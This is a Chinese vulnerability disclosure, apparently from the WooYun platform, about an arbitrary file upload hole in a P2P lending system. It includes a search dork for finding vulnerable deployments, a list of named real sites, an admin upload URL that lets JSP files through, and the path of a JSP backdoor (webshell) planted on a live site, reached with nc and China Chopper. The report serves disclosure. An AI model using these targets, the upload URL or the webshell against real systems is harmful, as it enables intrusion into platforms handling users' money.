漏洞详情

披露状态:

2014-03-28: 细节已通知厂商并且等待厂商处理中
2014-04-01: 厂商已经确认,细节仅向厂商公开
2014-04-11: 细节向核心白帽子及相关领域专家公开
2014-04-21: 细节向普通白帽子公开
2014-05-01: 细节向实习白帽子公开
2014-05-12: 细节向公众公开

简要描述:

某p2p网贷系统 任意上传漏洞 涉及金钱交易数千万

详细说明:

某p2p网贷系统 任意上传漏洞 涉及金钱交易数千万。。



漏洞证明:

google搜索 inurl:queryFrontAllDebt.do



还有其他用户在使用该系统。

http://www.yimincaifu.com

http://116.255.138.208

http://www.rjd.cc

http://www.crfp2p.com

http://www.07363135555.com

http://www.zrct.net

http://www.letourong.com





上传地址:http://www.winwindai.com/admin/uploadFileAction.do?obj=%7B%27fileType%27%3A%27JPG%2CJSP%2CGIF%2CTIF%2CPNG%27%2C%27fileSource%27%3A%27user%2F20140325%27%2C%27fileLimitSize%27%3A0.5%2C%27title%27%3A%27%E4%B8%8A%E4%BC%A0%E5%9B%BE%E7%89%87%27%2C%27cfn%27%3A%27uploadCall%27%2C%27cp%27%3A%27img%27%7D



方便测试 抓包NC提交

1.jpg





nc提交

2.jpg





后门地址:http://www.winwindai.com/upload/user/20140325/201403281241346955.jsp



3.jpg





菜刀连接



4.jpg

修复方案:

过滤

版权声明:转载请注明来源 dave@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-04-01 22:27

厂商回复:

最新状态:

暂无


漏洞评价: